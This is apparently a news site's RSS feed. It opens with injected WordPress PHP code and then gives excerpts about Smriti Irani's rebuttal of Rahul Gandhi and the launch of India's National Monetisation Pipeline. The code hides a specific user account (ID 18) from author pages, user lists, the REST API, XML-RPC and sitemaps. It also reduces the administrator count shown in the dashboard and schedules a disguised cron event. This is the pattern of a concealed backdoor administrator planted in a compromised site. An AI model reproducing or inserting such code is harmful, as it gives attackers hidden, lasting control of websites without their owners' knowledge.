add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Smriti Irani Slams Rahul Gandhi’s Remark that the Modi Government is “Selling India,” Claiming that “This Man’s Politics Begins with Hypocrisy.” appeared first on The Edge Media.
]]>Smriti Irani, a Union minister, said Congressman Rahul Gandhi, who had earlier targeted the government at a press conference, is “upset” that India will make Rs 6 lakh crore and is attempting to tarnish the Centre’s image for working to fill state coffers transparently while keeping them safe from the opposition party’s “robbers.”
The post Smriti Irani Slams Rahul Gandhi’s Remark that the Modi Government is “Selling India,” Claiming that “This Man’s Politics Begins with Hypocrisy.” appeared first on The Edge Media.
]]>The post Nirmala Sitharaman launches National Monetization Pipeline appeared first on The Edge Media.
]]>Mainly brownfield infrastructure assets have been earmarked by the Centre for NMP, official sources said.
NMP has also been designed to attract more investors to the country and encourage alternative financing for infrastructure assets.
In the Union Budget for 2021-22, the Finance Minister had made a lot of significant announcements regarding asset monetisation and stressed on the fact that the government is looking at innovative ways to raise finances.
Under NMP, the Centre is finalising ₹ 6 lakh crore worth of infrastructure assets, including national highways, mobile towers, stadia, railway stations as well as power grid pipelines among other key assets, which it plans to monetise.
“We are fully committed to delivering success to the National Motenisation Pipeline. We feel that it is very important to bring in the private sector for better operation and maintenance, therefore we are committed to very strong delivery on the ground”, said NITI Aayog CEO Amitabh Kant.
He further added, “Infra assets worth ₹ 6 lakh crore across rail, road, power sectors to be monetised over 4 years.”
The post Nirmala Sitharaman launches National Monetization Pipeline appeared first on The Edge Media.
]]>